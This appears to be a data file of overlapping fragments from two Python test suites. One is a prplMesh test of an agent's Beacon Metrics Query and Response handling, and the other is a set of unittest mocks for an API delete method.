"report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong",
"from opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that",
"rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to 115 - Channel",
"2 - SSID length field equal to 0 (SSID field missing) - Number",
"request to STA.\") # Step 7. STA responds with Beacon report time.sleep(1) self.check_log(controller,",
"check Beacon Metrics measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr",
"sends a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid)",
"Beacon Metrics Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response to",
"to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics measurement report,",
"# See LICENSE file for more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from",
"field equal to 0 (SSID field missing) - Number of AP Channel Reports",
"contributors (see AUTHORS.md) # This code is subject to the terms of the",
"1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK",
"def runTest(self): # Locate test participants try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity",
"''' Don't check Beacon Metrics measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 '''",
"request to its associated STA, receiving a response from the STA, and sending",
"'''- Operating Class field equal to 115 - Channel Number field equal to",
"Beacon Metrics measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr ==",
"STA, receiving a response from the STA, and sending the contents of that",
"ACK message was received.\") # Step 6. Verify that MAUT sends a correct",
"agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae) sniffer",
"BSD+Patent license. # See LICENSE file for more details. ############################################################### from .prplmesh_base_test import",
"{} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating",
"measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\",
"0x800E, agent.mac, controller.mac, mid) # Step 4. Send Beacon Metrics Query to agent.",
"5. Verify that MAUT sends a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\",",
"to 0 (SSID field missing) - Number of AP Channel Reports equal to",
"MAUT sends Beacon Metrics Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon",
"# Locate test participants try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller =",
"to a Beacon Metrics Query by sending a Beacon Report request to its",
"field equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to 2 - SSID",
"equal to 1 - Length of AP Channel Report equal to 0x03 -",
"LICENSE file for more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import",
"a valid Association Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid",
"\"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics",
"Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics",
"debug(\"Confirming MAUT sends Beacon Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) '''",
"# Step 7. STA responds with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response",
"and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02",
"a Beacon Report request to its associated STA, receiving a response from the",
"to 255 - BSSID field equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal",
"empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics mac addr",
"time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a MAUT with an associated",
"+ \"-\" + self.dev.DUT.name) # Step 3. MAUT sends Association Response frame to",
"and sending the contents of that response in a Beacon Metrics Response message",
"timeout=10) # Step 8. MAUT sends Beacon Metrics Response to Controller beacon_resp =",
"a Beacon Metrics Response message to the Controller ''' def runTest(self): # Locate",
"a response from the STA, and sending the contents of that response in",
"mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid)",
"STA.\") # Step 7. STA responds with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon",
"received.\") # Step 6. Verify that MAUT sends a correct Beacon request to",
"response from the STA, and sending the contents of that response in a",
"associated STA responds to a Beacon Metrics Query by sending a Beacon Report",
"equal to 36 and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73",
"STA responds with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response from STA. mid:\",",
"This test verifies that a MAUT with an associated STA responds to a",
"self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that MAUT sends a 1905 ACK",
"valid Association Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid =",
"debug(\"Confirming that MAUT sends a Beacon request to STA.\") # Step 7. STA",
"controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that MAUT sends a",
"from boardfarm.exceptions import SkipTest from capi import tlv from opts import debug import",
"AP Channel Report equal to 36 and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac)",
"(see AUTHORS.md) # This code is subject to the terms of the BSD+Patent",
"Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics Query",
"time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message was received.\") #",
"controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5.",
"Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\",
"3. MAUT sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA",
"controller.mac, mid) debug(\"Confirming ACK message was received.\") # Step 6. Verify that MAUT",
"Channel Report equal to 36 and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val",
"See LICENSE file for more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions",
"= self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT",
"agent.mac, controller.mac, mid) # Step 4. Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event(",
"to STA.\") # Step 7. STA responds with Beacon report time.sleep(1) self.check_log(controller, r\"got",
"https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics mac addr in",
"contents of that response in a Beacon Metrics Response message to the Controller",
"sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics",
"wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to 2 - SSID length field equal",
"sends a correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT",
"beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics measurement report, as it's",
"sends a Beacon request to STA.\") # Step 7. STA responds with Beacon",
"from controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step",
"channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class",
"Response\", 0x800E, agent.mac, controller.mac, mid) # Step 4. Send Beacon Metrics Query to",
"mid) debug(\"Confirming ACK message was received.\") # Step 6. Verify that MAUT sends",
"SPDX-FileCopyrightText: 2020 the prplMesh contributors (see AUTHORS.md) # This code is subject to",
"Channel Report equal to 115 - Channel List in AP Channel Report equal",
"\"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24",
"STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon request to STA.\")",
"to 115 - Channel Number field equal to 255 - BSSID field equal",
"with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response from STA. mid:\", timeout=10) #",
"tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid Association Request frame to MAUT\") self.check_log(agent,",
"Metrics Response message to the Controller ''' def runTest(self): # Locate test participants",
"STA responds to a Beacon Metrics Query by sending a Beacon Report request",
"debug(\"Confirming ACK message was received.\") # Step 6. Verify that MAUT sends a",
"to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics Query message\") mid =",
"that response in a Beacon Metrics Response message to the Controller ''' def",
"############################################################### # SPDX-License-Identifier: BSD-2-Clause-Patent # SPDX-FileCopyrightText: 2020 the prplMesh contributors (see AUTHORS.md) #",
"agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that MAUT sends a 1905",
"This code is subject to the terms of the BSD+Patent license. # See",
"to the Controller ''' def runTest(self): # Locate test participants try: sta =",
"except AttributeError as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" +",
"equal to 0 (SSID field missing) - Number of AP Channel Reports equal",
"Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message was received.\")",
"36 and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF",
"= controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid Association Request",
"= self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step 3. MAUT sends Association",
"self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message was received.\") # Step",
"Step 7. STA responds with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response from",
"self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response to Controller.\") beacon_resp_tlv =",
"Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac)",
"self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer",
"\\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to",
"self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\"",
"the Controller ''' def runTest(self): # Locate test participants try: sta = self.dev.wifi",
"List in AP Channel Report equal to 36 and 48 ''' beacon_query_tlv_val =",
"time.sleep(1) debug(\"Send Associated STA Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'],",
"Channel List in AP Channel Report equal to 36 and 48 ''' beacon_query_tlv_val",
"a MAUT with an associated STA responds to a Beacon Metrics Query by",
"mid:\", timeout=10) # Step 8. MAUT sends Beacon Metrics Response to Controller beacon_resp",
"MAUT sends a Beacon request to STA.\") # Step 7. STA responds with",
"sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac,",
"{}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid) # Step",
"controller.mac, mid) # Step 4. Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA",
"Metrics Response\", 0x800E, agent.mac, controller.mac, mid) # Step 4. Send Beacon Metrics Query",
"subject to the terms of the BSD+Patent license. # See LICENSE file for",
"equal to 115 - Channel Number field equal to 255 - BSSID field",
"''' This test verifies that a MAUT with an associated STA responds to",
"Beacon Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon",
"Number of AP Channel Reports equal to 1 - Length of AP Channel",
"details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi import",
"controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response to Controller.\") beacon_resp_tlv",
"the contents of that response in a Beacon Metrics Response message to the",
"Number field equal to 255 - BSSID field equal to wildcard (0xFFFFFFFFFFFF) -",
"of AP Channel Report equal to 0x03 - Operating Class in AP Channel",
"Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response from STA. mid:\", timeout=10) # Step",
"beacon response from STA. mid:\", timeout=10) # Step 8. MAUT sends Beacon Metrics",
"Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a",
"tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that MAUT sends a 1905 ACK to",
"message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid",
"Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response",
"sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step 3. MAUT sends Association Response frame",
"\"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\",",
"always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics mac",
"import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a MAUT with an",
"4. Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0",
"in a Beacon Metrics Response message to the Controller ''' def runTest(self): #",
"Step 4. Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1",
"the terms of the BSD+Patent license. # See LICENSE file for more details.",
"from capi import tlv from opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): '''",
"agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid Association Request frame to",
"controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid Association Request frame",
"beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming",
"to 1 - Length of AP Channel Report equal to 0x03 - Operating",
"boardfarm.exceptions import SkipTest from capi import tlv from opts import debug import time",
"self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step 3. MAUT sends Association Response",
"Report equal to 115 - Channel List in AP Channel Report equal to",
"to 36 and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF",
"- BSSID field equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to 2",
"debug(\"Send Beacon Metrics Query from controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'],",
"- Reporting Detail equal to 2 - SSID length field equal to 0",
"# Step 8. MAUT sends Beacon Metrics Response to Controller beacon_resp = self.check_cmdu_type_single(",
"length field equal to 0 (SSID field missing) - Number of AP Channel",
"of the BSD+Patent license. # See LICENSE file for more details. ############################################################### from",
"an associated STA responds to a Beacon Metrics Query by sending a Beacon",
"RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''-",
"message to the Controller ''' def runTest(self): # Locate test participants try: sta",
"that MAUT sends a Beacon request to STA.\") # Step 7. STA responds",
"sta.mac)) time.sleep(5) debug(\"STA sends a valid Association Request frame to MAUT\") self.check_log(agent, \"Send",
"to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message was",
"0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query from controller to agent.\")",
"Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics measurement report, as",
"0x03 - Operating Class in AP Channel Report equal to 115 - Channel",
"Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'],",
"''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics mac addr in Beacon",
"Operating Class in AP Channel Report equal to 115 - Channel List in",
"Class field equal to 115 - Channel Number field equal to 255 -",
"Locate test participants try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity",
"mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid Association",
"to 2 - SSID length field equal to 0 (SSID field missing) -",
"self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon request to STA.\") # Step",
"responds with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response from STA. mid:\", timeout=10)",
"115 - Channel Number field equal to 255 - BSSID field equal to",
"beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics mac addr in Beacon Respond\" sta.wifi_disconnect(agent.radios[0].vaps[0])",
"Verify that MAUT sends a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'],",
"sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step 3. MAUT sends",
"STA Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5)",
"from the STA, and sending the contents of that response in a Beacon",
"self.dev.DUT.name) # Step 3. MAUT sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1)",
"- Length of AP Channel Report equal to 0x03 - Operating Class in",
"\"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message was received.\") # Step 6.",
"to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon request to",
"as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon",
"Step 5. Verify that MAUT sends a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single(",
"prplMesh contributors (see AUTHORS.md) # This code is subject to the terms of",
"Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon",
"- SSID length field equal to 0 (SSID field missing) - Number of",
"- Channel List in AP Channel Report equal to 36 and 48 '''",
"BSD-2-Clause-Patent # SPDX-FileCopyrightText: 2020 the prplMesh contributors (see AUTHORS.md) # This code is",
"receiving a response from the STA, and sending the contents of that response",
"equal to 2 - SSID length field equal to 0 (SSID field missing)",
"self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid) # Step 4. Send",
"controller = self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__",
"timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid) # Step 4.",
"PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi import tlv from opts import debug",
"Length of AP Channel Report equal to 0x03 - Operating Class in AP",
"(0xFFFFFFFFFFFF) - Reporting Detail equal to 2 - SSID length field equal to",
"equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to 2 - SSID length",
"Metrics Query from controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val))"
] |
[
"mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def",
"todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self):",
"Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as",
"- 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True)",
"import Mock, patch from src.Api import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase):",
"assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value =",
"1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408}",
"autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError",
"\"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"= 1 mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with",
"self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value",
"with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id)",
"Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True)",
"todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self):",
"mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self):",
"as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True)",
"test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id)",
"test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called()",
"= 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as",
"= Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with",
"Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with",
"\"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with",
"= {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1)",
